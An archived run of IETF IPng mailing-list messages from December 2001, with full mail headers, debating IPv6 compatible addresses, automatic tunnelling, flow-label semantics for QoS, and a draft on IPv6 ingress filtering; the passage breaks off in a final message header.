sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRBF3ZR020382; Thu, 27 Dec 2001 03:15:03 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA28331; Thu, 27 Dec 2001 03:15:04 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA15263; Thu, 27 Dec 2001 04:15:03 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBRBF1j21509; Thu, 27 Dec 2001 13:15:01 +0200 Date: Thu, 27 Dec 2001 13:15:01 +0200 (EET) From: Pekka Savola To: cc: Subject: addrarch: should compatible addresses be removed? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I'll re-post a point below in this separate thread, so it won't get lost in the noise. There was not discussion back a few months ago, but perhaps there are more opinions now. Should compatible addresses be killed from addrarch (-07: 2.5.5), written in some more generic fashion or what? -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords ---------- Forwarded message ---------- Date: Thu, 27 Dec 2001 13:01:33 +0200 (EET) From: Pekka Savola To: Brian E Carpenter Cc: Fred L. Templin , Vladislav Yasevich , ngtrans@sunroof.eng.sun.com, ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling On Sun, 23 Dec 2001, Brian E Carpenter wrote: [snip] > > - should autotunnel be deprecated in a more official fashion? > > Probably. That means removing it from the address architecture and from > RFC 2893. Addrarch revision is underway (close to complete I fear), so this might be the chance to do one of these (next one would possibly be in 2-3 years). I commented on the fact earlier too, because I didn't see all that much point in describing just one special tunneling technique in addrarch. If curious, the message was: Date: Sun, 26 Aug 2001 00:20:38 +0300 (EEST) From: Pekka Savola To: Bob Hinden cc: -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:14:01 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCE1ZR020587 for ; Thu, 27 Dec 2001 04:14:01 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCE1r8020586 for ipng-dist; Thu, 27 Dec 2001 04:14:01 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCDvZR020579 for ; Thu, 27 Dec 2001 04:13:58 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA01933 for ; Thu, 27 Dec 2001 04:13:59 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA23870 for ; Thu, 27 Dec 2001 04:13:58 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA11878; Thu, 27 Dec 2001 13:13:56 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA60324 from ; Thu, 27 Dec 2001 13:13:53 +0100 Message-Id: <3C2B1082.D8600567@hursley.ibm.com> Date: Thu, 27 Dec 2001 13:13:54 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: James Kempf , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112250049.fBP0n1d08852@newdev.harvard.edu> <00a901c18e34$1b9e0930$7e6015ac@T23KEMPF> <871yhhc13w.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Sometimes, not always. See RFC 2983. Brian "Perry E. Metzger" wrote: > > "James Kempf" writes: > > The most compelling application I've seen is > > for QoS classification when the packet > > is encrypted. Most of the other applications > > people have cited can probably be handled > > by other means, as you point out. > > Can't we do classification by expressing the traffic type in the > "traffic" field in the encapsulating packet, however? > > .pm > -- > Perry E. Metzger perry@wasabisystems.com > -- > NetBSD Development, Support & CDs. http://www.wasabisystems.com/ > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:16:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCGOZR020610 for ; Thu, 27 Dec 2001 04:16:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCGOFQ020609 for ipng-dist; Thu, 27 Dec 2001 04:16:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCGLZR020602 for ; Thu, 27 Dec 2001 04:16:21 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA02160 for ; Thu, 27 Dec 2001 04:16:22 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA24210 for ; Thu, 27 Dec 2001 04:16:21 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA12578; Thu, 27 Dec 2001 13:16:18 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA60362 from ; Thu, 27 Dec 2001 13:16:15 +0100 Message-Id: <3C2B1110.30EDE607@hursley.ibm.com> Date: Thu, 27 Dec 2001 13:16:16 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Scott Bradner Cc: ipng@sunroof.eng.sun.com, kempf@docomolabs-usa.com Subject: Re: Flow Label References: <200112261816.fBQIGLF12128@newdev.harvard.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk The diffserv field is mutable. The argument for an immutable field applies to both intserv and diffserv. It's actually more compelling than just the encryption case, for diffserv: it allows us to carry semantics that are not conveyed by the port #s and protocol type. Brian Scott Bradner wrote: > > > The most compelling application I've seen is > > for QoS classification when the packet > > is encrypted. > > the difserv field is not encrypted so I am not compelled by this example > > Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:18:46 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCIkZR020650 for ; Thu, 27 Dec 2001 04:18:46 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCIkxb020649 for ipng-dist; Thu, 27 Dec 2001 04:18:46 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCIhZR020642 for ; Thu, 27 Dec 2001 04:18:43 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA12812 for ; Thu, 27 Dec 2001 04:18:43 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA04236 for ; Thu, 27 Dec 2001 05:19:38 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA07006; Thu, 27 Dec 2001 13:18:40 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA58720 from ; Thu, 27 Dec 2001 13:18:37 +0100 Message-Id: <3C2B119E.4B39EBAC@hursley.ibm.com> Date: Thu, 27 Dec 2001 13:18:38 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Scott Bradner Cc: kempf@docomolabs-usa.com, perry@wasabisystems.com, ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112261857.fBQIv8q12264@newdev.harvard.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Scott Bradner wrote: > > > The traffic field gives the classification. The flow label > > could serve as a proxy for the port number and > > protocol type, > > the whole point of class-based QoS is to not have to deal at the > port and protocol level That's what I was getting at by saying that the flow label could have better semantics than port/protocol, if we define it e2e. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:26:09 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCQ9ZR020679 for ; Thu, 27 Dec 2001 04:26:09 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCQ95q020678 for ipng-dist; Thu, 27 Dec 2001 04:26:09 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCQ6ZR020671 for ; Thu, 27 Dec 2001 04:26:06 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA13234 for ; Thu, 27 Dec 2001 04:26:07 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA06108 for ; Thu, 27 Dec 2001 05:27:01 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA12604; Thu, 27 Dec 2001 13:26:04 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA60164 from ; Thu, 27 Dec 2001 13:26:02 +0100 Message-Id: <3C2B135A.AEC97C73@hursley.ibm.com> Date: Thu, 27 Dec 2001 13:26:02 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: James Kempf Cc: Scott Bradner , perry@wasabisystems.com, ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112261857.fBQIv8q12264@newdev.harvard.edu> <016401c18e40$60ce0490$7e6015ac@T23KEMPF> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk James Kempf wrote: > > Scott, > > > > The traffic field gives the classification. The flow label > > > could serve as a proxy for the port number and > > > protocol type, > > > > the whole point of class-based QoS is to not have to deal at the > > port and protocol level > > > > Good point, thanx for the clarification. > > Perhaps there is some other way to solve the problem, like > uniform agreement among service providers on > diffserv code points Explicitly rejected by the ISPs at the beginning of diffserv. That is *exactly* why we need an e2e flow label. > and some kind of authentication on the > traffic classification field, so that the service > provider could authenticate that it hadn't > been changed in transit? As has been said (*everything* has been said several times over the last year), it's too late to change AH. In any case, it doesn't matter: if people change a QOS field to request better service, they will get it and pay for it; no problem there. (Theft of service, or DoS by injecting bogus QOS traffic, is taken care of by admission control at the network edge; nothing we are discussing here changes that.) > But this is perhaps the topic for another > thread and maybe another working group... This is old news to the QOS-related WGs. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:31:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCVVZR020707 for ; Thu, 27 Dec 2001 04:31:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCVVME020706 for ipng-dist; Thu, 27 Dec 2001 04:31:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCVSZR020699 for ; Thu, 27 Dec 2001 04:31:28 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA13700 for ; Thu, 27 Dec 2001 04:31:29 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA07285 for ; Thu, 27 Dec 2001 05:32:24 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA12614; Thu, 27 Dec 2001 13:31:26 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA55964 from ; Thu, 27 Dec 2001 13:31:24 +0100 Message-Id: <3C2B149C.BAAB623C@hursley.ibm.com> Date: Thu, 27 Dec 2001 13:31:24 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Michael Thomas Cc: Scott Bradner , kempf@docomolabs-usa.com, perry@wasabisystems.com, ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112261857.fBQIv8q12264@newdev.harvard.edu> <15402.25833.309105.410883@thomasm-u1.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Michael Thomas wrote: ... > Yes, and it almost always means "let's ignore > admission control" too. The diffserv architecture is very explicit that each domain needs admission control (except maybe for the default class). > ...Just to make things > clear, are you thinking of RFC 2996 style > reservations or none at all. That's by no means the only way to apply admission control. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:37:29 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCbTZR020736 for ; Thu, 27 Dec 2001 04:37:29 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCbTRJ020735 for ipng-dist; Thu, 27 Dec 2001 04:37:29 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCbPZR020728 for ; Thu, 27 Dec 2001 04:37:25 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA25902 for ; Thu, 27 Dec 2001 04:37:27 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA18143 for ; Thu, 27 Dec 2001 05:37:07 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA10742; Thu, 27 Dec 2001 13:37:24 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA40376 from ; Thu, 27 Dec 2001 13:37:23 +0100 Message-Id: <3C2B1603.2A590427@hursley.ibm.com> Date: Thu, 27 Dec 2001 13:37:23 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: "Perry E. Metzger" Cc: Michael Thomas , ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <87pu54msw4.fsf@snark.piermont.com> <15399.47568.627426.907205@thomasm-u1.cisco.com> <87wuzci3h9.fsf@snark.piermont.com> <15399.50180.243725.647302@thomasm-u1.cisco.com> <87666wi1ou.fsf@snark.piermont.com> <15399.52762.580187.141948@thomasm-u1.cisco.com> <87sna0gkoo.fsf@snark.piermont.com> <15400.50164.852323.177813@thomasm-u1.cisco.com> <87g05zds04.fsf@snark.piermont.com> <15401.63834.984524.789399@thomasm-u1.cisco.com> <87ofkmapw3.fsf@snark.piermont.com> <15402.27477.207404.821935@thomasm-u1.cisco.com> <87y9jp4h8e.fsf@snark.piermont.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk "Perry E. Metzger" wrote: ... > > I have witnessed firsthand hardware engineers on high end > > platforms react somewhere between disbelief and outright > > hostility at the prospect of chasing down header chains at line > > rate. > > Given the fact that IPv6 headers have to be processed in some > circumstances by routers -- and perhaps most of the time in the future > -- it would seem that they're going to have to cope with their > disbelief. > > Of course, it appears that folks from several vendors already have > coped with this disbelief and have working hardware. You can do anything, but it costs more money and generates more heat to dissipate. Believe me, the hardware designers *all* react as Michael describes: don't ask them to chase down successive headers as part of the truly optimised line-speed path; that sort of logic will always be behind the game compared with fixed header fields. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:38:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCcLZR020761 for ; Thu, 27 Dec 2001 04:38:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCcLnN020760 for ipng-dist; Thu, 27 Dec 2001 04:38:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCcDZR020745; Thu, 27 Dec 2001 04:38:13 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA03619; Thu, 27 Dec 2001 04:38:15 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA18247; Thu, 27 Dec 2001 05:37:55 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBRCcAw22086; Thu, 27 Dec 2001 14:38:10 +0200 Date: Thu, 27 Dec 2001 14:38:10 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: , Subject: Re: IPv6 ingress filtering early access In-Reply-To: <200112261825.fBQIPGD14500@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Wed, 26 Dec 2001, Francis Dupont wrote: > I have written a draft about IPv6 ingress filtering (with home address > option considerations). It is not finished (some editing is needed) but > I have put it for early access on (sorry for the long line): > > ftp://ftp.ipv6.rennes.enst-bretagne.fr/pub/draft-dupont-ipv6-ingress-filtering-00.txt Looks rather good .. even though we may not agree on the AAA issues, this seems to bring them up rather nicely :-). About section 2 on Correspondent Nodes; could you elaborate in the document why exactly solution is too drastic? Note that BCE check is not the only way to ensure legitimity of HAO: if it's secured by AH, it's ok; if some SUCV/.. weak authentication method is used, it's probably also ok; the same might even apply to return routability. It's too early to crush CN solutions. (I think the solution for HAO should most likely consist of two separate, "strong-enough" layers, one mandated at CN, one possible at firewalls, but that's not the topic of this draft). Note: it seems every site, even if it had only a few MN's, will have to have AAA infrastructure, so that it could interact, certify etc. home address use for remote AAA systems when MN goes roaming and there's a need to punch a hole in ingress filtering of remote sites. (If this is the approach for security, it should be required in the main MIPv6 draft). Or have I missed something? This seems unnecessary in many environments, e.g. university campus area WLAN or company's internal network. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:40:12 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCeCZR020829 for ; Thu, 27 Dec 2001 04:40:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCeCrL020827 for ipng-dist; Thu, 27 Dec 2001 04:40:12 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCe8ZR020813 for ; Thu, 27 Dec 2001 04:40:08 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA03733 for ; Thu, 27 Dec 2001 04:40:09 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA19050 for ; Thu, 27 Dec 2001 05:39:50 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA10502; Thu, 27 Dec 2001 13:40:07 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA38094 from ; Thu, 27 Dec 2001 13:40:06 +0100 Message-Id: <3C2B16A6.2ACEEE4F@hursley.ibm.com> Date: Thu, 27 Dec 2001 13:40:06 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Subrata Goswami Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Indeed. But we also know that the cost of bandwidth is dropping faster than Moore's law, so building hardware to keep up with line speed is actually a little harder every day. That argues for extreme simplicity. Brian Subrata Goswami wrote: > > Well, the need to reduce silicon real estate is very noble > indeed. The price and density of silicon goes down by a factor > of 2 every 2 years so, and the flow-label legacy would probably > last beyond that. So the pertinent question to answer would be > how do we assign the bits in a way that they would still be > useful 10 years from now. > > Subrata > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 04:46:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCkcZR020912 for ; Thu, 27 Dec 2001 04:46:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRCkcOV020911 for ipng-dist; Thu, 27 Dec 2001 04:46:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRCkZZR020904 for ; Thu, 27 Dec 2001 04:46:35 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA15012 for ; Thu, 27 Dec 2001 04:46:37 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA09027 for ; Thu, 27 Dec 2001 04:46:35 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id NAA12668; Thu, 27 Dec 2001 13:46:30 +0100 Received: from dhcp23-128.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA33006 from ; Thu, 27 Dec 2001 13:46:29 +0100 Message-Id: <3C2B1824.D54976C4@hursley.ibm.com> Date: Thu, 27 Dec 2001 13:46:28 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Robert Elz Cc: Scott Bradner , kempf@docomolabs-usa.com, perry@wasabisystems.com, ipng@sunroof.eng.sun.com Subject: Re: Flow Label References: <200112261857.fBQIv8q12264@newdev.harvard.edu> <1454.1009434707@brandenburg.cs.mu.OZ.AU> Content-Type: text/plain; 